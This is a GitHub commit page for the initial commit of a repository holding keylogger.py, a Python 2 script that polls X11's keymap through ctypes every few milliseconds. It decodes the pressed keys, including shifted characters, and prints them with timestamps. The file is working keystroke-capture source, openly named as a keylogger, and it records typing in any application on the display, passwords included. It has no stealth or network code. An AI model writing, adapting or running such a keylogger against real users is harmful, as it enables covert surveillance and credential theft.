Permalink
Browse files

initial commit

  • Loading branch information...
0 parents commit b04dfb29427d9f6dc990b69ad218add9347e0054 @amoffat committed Aug 25, 2011
Showing with 155 additions and 0 deletions.
  1. +2 −0 .gitignore
  2. 0 README.md
  3. +153 −0 keylogger.py
@@ -0,0 +1,2 @@
+*.pyc
+*.swp
No changes.
@@ -0,0 +1,153 @@
+import sys
+from time import sleep, time
+import ctypes as ct
+from ctypes.util import find_library
+import struct
+from binascii import crc32
+
+
+assert(sys.platform == "linux2")
+
+
+lib = find_library("X11")
+x11 = ct.cdll.LoadLibrary(lib)
+
+display = x11.XOpenDisplay(None)
+keyboard = (ct.c_char * 32)()
+
+
+
+
+shift_keys = [(6, 4), (7, 64)]
+caps_lock = 0
+
+key_mapping = {
+ 1: {
+ 0b00000010: "<esc>",
+ 0b00000100: ("1", "!"),
+ 0b00001000: ("2", "@"),
+ 0b00010000: ("3", "#"),
+ 0b00100000: ("4", "$"),
+ 0b01000000: ("5", "%"),
+ 0b10000000: ("6", "^"),
+ },
+ 2: {
+ 0b00000001: ("7", "&"),
+ 0b00000010: ("8", "*"),
+ 0b00000100: ("9", "("),
+ 0b00001000: ("0", ")"),
+ 0b00010000: ("-", "_"),
+ 0b00100000: ("=", "+"),
+ 0b01000000: "<backspace>",
+ 0b10000000: "<tab>",
+ },
+ 3: {
+ 0b00000001: ("q", "Q"),
+ 0b00000010: ("w", "W"),
+ 0b00000100: ("e", "E"),
+ 0b00001000: ("r", "R"),
+ 0b00010000: ("t", "T"),
+ 0b00100000: ("y", "Y"),
+ 0b01000000: ("u", "U"),
+ 0b10000000: ("i", "I"),
+ },
+ 4: {
+ 0b00000001: ("o", "O"),
+ 0b00000010: ("p", "P"),
+ 0b00000100: ("[", "{"),
+ 0b00001000: ("]", "}"),
+ 0b00010000: "<enter>",
+ #0b00100000: "<left ctrl>",
+ 0b01000000: ("a", "A"),
+ 0b10000000: ("s", "S"),
+ },
+ 5: {
+ 0b00000001: ("d", "D"),
+ 0b00000010: ("f", "F"),
+ 0b00000100: ("g", "G"),
+ 0b00001000: ("h", "H"),
+ 0b00010000: ("j", "J"),
+ 0b00100000: ("k", "K"),
+ 0b01000000: ("l", "L"),
+ 0b10000000: (";", ":"),
+ },
+ 6: {
+ 0b00000001: ("'", "\""),
+ 0b00000010: ("`", "~"),
+ #0b00000100: "<left shift>",
+ 0b00001000: ("\\", "|"),
+ 0b00010000: ("z", "Z"),
+ 0b00100000: ("x", "X"),
+ 0b01000000: ("c", "C"),
+ 0b10000000: ("v", "V"),
+ },
+ 7: {
+ 0b00000001: ("b", "B"),
+ 0b00000010: ("n", "N"),
+ 0b00000100: ("m", "M"),
+ 0b00001000: (",", "<"),
+ 0b00010000: (".", ">"),
+ 0b00100000: ("/", "?"),
+ #0b01000000: "<right shift>",
+ },
+ 8: {
+ #0b00000001: "<left alt>",
+ 0b00000010: " ",
+ 0b00000100: "<caps lock>",
+ },
+ 13: {
+ #0b00000010: "<right ctrl>",
+ #0b00010000: "<right alt>",
+ },
+}
+
+def fetch_keys_raw():
+ x11.XQueryKeymap(display, keyboard)
+ return keyboard
+
+
+last_pressed = set()
+
+def fetch_keys():
+ global caps_lock, last_pressed
+ keypresses_raw = fetch_keys_raw()
+
+ # shift pressed?
+ shift = 0
+ for i, byte in shift_keys:
+ if ord(keypresses_raw[i]) & byte:
+ shift = 1
+ break
+
+ if ord(keypresses_raw[8]) & 4: caps_lock = int(not caps_lock)
+
+ pressed = []
+ for i, k in enumerate(keypresses_raw):
+ o = ord(k)
+ if o:
+ for byte,key in key_mapping.get(i, {}).iteritems():
+ if byte & o:
+ if isinstance(key, tuple): key = key[shift or caps_lock]
+ pressed.append(key)
+
+
+ tmp = pressed
+ pressed = list(set(pressed).difference(last_pressed))
+ last_pressed = tmp
+
+ pressed.sort()
+ return pressed
+
+
+
+
+
+if __name__ == "__main__":
+
+ all_keypresses = []
+ while True:
+ sleep(.005)
+ pressed = fetch_keys()
+ if pressed:
+ all_keypresses.append((time(), pressed))
+ print pressed

0 comments on commit b04dfb2

Please sign in to comment.